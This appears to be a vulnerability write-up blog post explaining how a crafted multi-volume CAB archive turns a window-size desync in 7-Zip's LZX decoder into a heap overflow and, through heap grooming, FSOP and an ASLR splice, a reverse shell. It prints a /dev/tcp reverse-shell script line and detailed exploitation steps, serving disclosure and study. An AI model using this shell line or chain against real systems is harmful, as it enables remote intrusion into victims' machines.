Post

7-Zip Cabinet Window Desync: From Heap OOB Write to Remote Code Execution

A crafted multi-volume CAB archive achieves remote code execution through 7-Zip's LZX decoder — no user interaction beyond extraction.

7-Zip Cabinet Window Desync: From Heap OOB Write to Remote Code Execution

Affected: 7-Zip ≤ 26.05
Severity: Critical — single-archive RCE, no user interaction beyond extraction
Tested on: Linux x86-64 (Arch Linux, glibc 2.44)
Status: Fixed in 7-Zip 26.06

Extracting a .cab file should be boring. It’s a 30-year-old Microsoft archive format — the kind of thing your system handles ten times before breakfast without anyone noticing.

But what if someone changes the window size mid-stream?

A logic flaw in 7-Zip’s LZX decoder allows a crafted multi-volume CAB archive to write 1.3 MB past a 32 KB buffer, corrupt a file stream object’s vtable, and chain into system() through glibc’s FILE stream internals. The result: a reverse shell. No clicks, no macros — just 7z x v1.cab.

The Demo

7-Zip 26.04 — remote reverse shell, ASLR on:

7-Zip 26.05 — remote reverse shell, ASLR on:

Threat Model

The attack surface is simple: deliver two files — v1.cab and v2.cab — to the victim via email, file share, USB, or any other channel. When the victim extracts v1.cab with 7-Zip (7z x v1.cab), the decoder automatically opens v2.cab as the continuation volume. No additional interaction is required. The attacker, listening on a pre-configured port, receives a reverse shell.


CAB in 30 Seconds

Microsoft Cabinet (.cab) archives date back to Windows 95. They still ship everywhere — Windows Updates, driver packages, Office installers. 7-Zip handles them natively.

A CAB archive can span multiple volumes (v1.cab, v2.cab, …). Each volume contains folders, and each folder specifies a compression codec. The interesting one for us: LZX, Microsoft’s Lempel-Ziv variant.

LZX takes a key parameter: the window size. It supports windows from 32 KB (bits=15) to 2 MB (bits=21). The decoder allocates a buffer of exactly this size and writes decompressed data into it, tracking progress with a position counter called _pos.

When a multi-volume archive continues in the next cabinet, the decoder is told to keep its history — _keepHistory = true. This means: don’t reset your state, we’re picking up where we left off.

Unless someone changes the rules mid-stream.

The Bug

Here’s the continuation logic in LzxDecoder.cpp, function Code_WithExceedReadWrite():

1
2
3
4
5
6
7
8
9
10
// LzxDecoder.cpp:1446-1454
if (!_keepHistory)
{
    _pos = 0;           // Fresh start: always reset
}
else if (_pos == _winSize)
{
    _pos = 0;           // Continuation: only reset at window boundary
    _overDict = true;
}

When _keepHistory is false (fresh extraction), _pos is always zeroed. When _keepHistory is true (continuation from previous volume), _pos is only reset if it exactly equals _winSize.

Seems fine. But what happens when the window size changes between volumes?

Set_DictBits_and_Alloc() handles the resize:

1
2
3
4
5
6
7
8
9
// LzxDecoder.cpp:1496-1513
if (!_win || newWinSize != _winSize)
{
    z7_AlignedFree(_win);
    _winSize = 0;
    _win = (Byte *)z7_AlignedAlloc(newWinSize + k_OutBufSize_Add);
    // ...
}
_winSize = newWinSize;

The old buffer is freed. A new, smaller buffer is allocated. _winSize is updated. But _pos — accumulated across prior CFDATA blocks using the old, much larger window — keeps its stale value.

The Window Desync _pos retains its value from the 2 MB window era, now pointing 1.3 MB past the end of a 32 KB buffer.

The bounds check that follows seals the deal:

1
2
3
// LzxDecoder.cpp:1463-1464
if (outSize > _winSize - _pos)
    return S_FALSE;

With _pos = 0x14A420 and _winSize = 0x8000, the subtraction computes 0x8000 - 0x14A420. Both are unsigned. The result wraps to a massive value. The check passes.

The decoder writes at _win[_pos] — offset 0x14A420 past the start of a 32 KB buffer. That’s a controlled, out-of-bounds heap write.

The Exploit

Exploit Flow Overview End-to-end exploit chain: from crafted CAB archive to reverse shell in five phases.

Step 1: Lay the Groundwork

The crafted v1.cab contains 6 folders, each with a specific job:

FolderCodecWindowPurpose
F0LZX:212 MBStart advancing _pos
F1LZX:212 MBHeap grooming — ~8192 pad files fill tcache bins
F2None—Drop the reverse shell script r to disk
F3LZX:212 MBAdvance _pos to target offset 0x14A420
F4LZX:1532 KBEmpty folder — triggers the window shrink
F5LZX:21—(in v2.cab) Payload decoded at stale _pos → OOB

F1 creates thousands of small files to fill tcache bins and push heap allocations into predictable positions. This is standard heap grooming — make the allocator hand us a layout we can work with.

F2 extracts the file r — a shell script containing the reverse shell payload:

1
2
#!/bin/sh
exec /bin/sh -i <>/dev/tcp/LHOST/LPORT >&0 2>&0

This file lands on disk before the OOB fires. When system("sh r") executes later, it’s already waiting.

Step 2: Shrink the Window

F3 advances _pos to exactly 0x14A420 using the 2 MB LZX window. Then F4 arrives — an empty folder with LZX:15 (32 KB window).

7-Zip frees the 2 MB buffer and allocates a 32 KB one. _winSize updates to 0x8000. But _pos stays at 0x14A420.

The state is now desynchronized. v1.cab ends here and tells the decoder: “continued in next cabinet → v2.cab”.

Step 3: Write Past the Edge

7-Zip opens v2.cab, finds a single CFDATA block (462 bytes), and hands it to the LZX decoder. The decoder writes at _win + _pos = _win + 0x14A420.

That’s 1.3 MB past the end of a 32 KB buffer. Where does it land?

Heap Layout The OOB write at _win + 0x14A420 lands squarely on COutFileStream.

The heap grooming from Step 1 ensures that a COutFileStream object sits at exactly the right distance from _win. This object has a vtable, _IO_write_ptr, and FILE-like fields. The OOB payload overwrites all of them.

Step 4: Hijack the Stream

The payload rewrites COutFileStream’s vtable pointer to:

1
_IO_file_jumps + 0x20

This is a valid glibc FILE vtable, shifted by 0x20. When 7-Zip next calls COutFileStream::Write() (COM vtable slot at offset +0x18), the dispatch resolves to:

1
vtable[3] = *(_IO_file_jumps + 0x20 + 0x18) = _IO_file_xsputn

Now xsputn treats COutFileStream as a FILE* and does a memcpy from the caller’s data buffer to _IO_write_ptr.

The payload also set _IO_write_ptr to point at _IO_2_1_stdin_ in libc’s BSS. So xsputn copies the attacker’s data directly over the real stdin FILE structure.

At this point, we own stdin.

Step 5: Forge stdin — House of Apple 2

The forged stdin is carefully crafted for the House of Apple 2 technique:

stdin fieldValuePurpose
_flags" sh r\0"Command string for system() (low bits clear UNBUFFERED/NO_WRITES)
_IO_write_ptr> _IO_write_baseTriggers _IO_OVERFLOW during flush
_mode> 0Selects the wide-character code path
_wide_datastdin + 0xA8Points to forged wide data (self-referencing)
_vtable_IO_wfile_jumpsWide file vtable
_flags20x20 (_IO_FLAGS2_NOCLOSE)Prevents close() on stdin fd → avoids SIGABRT
_lock_IO_stdfile_0_lockValid lock pointer (prevents deadlock)

The _flags field does double duty — its bytes encode " sh r\0" while also having the right bit pattern to pass glibc’s internal checks. Two leading spaces keep the bits clean; sh treats them as harmless whitespace.

When 7-Zip exits (normally or via error), glibc’s cleanup runs:

FSOP Chain The full chain from exit() to system("sh r").

The self-referencing _wide_data is the key trick: it points back into the forged stdin at offset 0xA8, where the exploit places a fake _wide_vtable whose __doallocate slot resolves to system(). When _IO_wdoallocbuf calls __doallocate, it’s really calling system(" sh r").

The r script from Step 1 is already on disk. The shell connects back.

The payload also preserves malloc chunk headers at known offsets within the overwritten region — alternating 0x31 and 0x81 size fields corresponding to the heap’s allocation pattern. This prevents free() from detecting corruption before the FSOP chain fires.

Step 6: Beat ASLR Without a Leak

The FSOP payload is full of absolute libc addresses — system(), _IO_file_jumps, _IO_2_1_stdin_, etc. Under ASLR, these are randomized. How do we know them without an information leak?

We don’t need one. The heap already has what we need.

ASLR Splice Assembling an 8-byte libc address from three sources: known offset, guessed byte, and arena pointer data.

At _win + 0x8030, there’s a free chunk whose fd pointer points into main_arena — which lives in libc’s BSS. Bytes 3–7 of that pointer are the same high bytes shared by any libc_base + offset address.

LZX supports match instructions: “copy N bytes from offset D in the previously decoded data.” The arena pointer is visible in the OOB window as existing heap data. For each libc address in the payload, the exploit encodes:

  • Bytes 0–1: Literal — the known low 2 bytes of the target offset
  • Byte 2: Literal — the guessed byte (3-bit ASLR entropy)
  • Bytes 3–7: LZX match copying 5 bytes from the arena pointer

The match instruction copies the correct high bytes directly from the heap. No leak primitive needed.

Byte 2 has 3 bits of entropy on this platform — 8 possible values. The exploit generates 8 variants. Each has a 12.5% theoretical success rate. In practice, the 0x80 variant hits around 30% of the time, suggesting the actual entropy is lower than 3 bits.

A miss doesn’t crash — 7-Zip simply exits with an extraction error. Retry is free.

Why not just leak? There is a separate OOB read primitive in the same code path that could defeat ASLR with 100% reliability. However, exploiting it would require a helper script to receive the leaked addresses and rewrite the payload at runtime — and there is no convenient side channel within the extraction flow to pass the leak back. The result would be a functional but inelegant chain that trades simplicity for reliability. The arena pointer splice avoids this entirely: no leak, no rewrite, no extra script — just the data that’s already on the heap.

Results

ModeSuccess RateNotes
ASLR off5/5 (100%)setarch -R disables ASLR
ASLR on19/64 (~30%)Single byte2 variant; theoretical 12.5%

Tested on: Arch Linux x86-64, glibc 2.44, 7-Zip 26.04 and 26.05.

The exploit requires calibration for specific glibc versions and heap layouts. The heap offsets depend on:

ComponentWhy it matters
7-Zip versionAllocation order, heap layout
glibc versionSymbol offsets, FSOP internals
KernelASLR base, mmap layout
Archive nameHeap shift from path string allocation
Embed sizeCOutFileStream positioning

Changing any of these shifts the heap enough to require recalibration — but the vulnerability and the technique remain the same.


This research was assisted by Claude Opus 5 using Claude Code.

Thanks for reading. If you have questions or want to discuss, feel free to reach out.

This post is licensed under CC BY 4.0 by the author.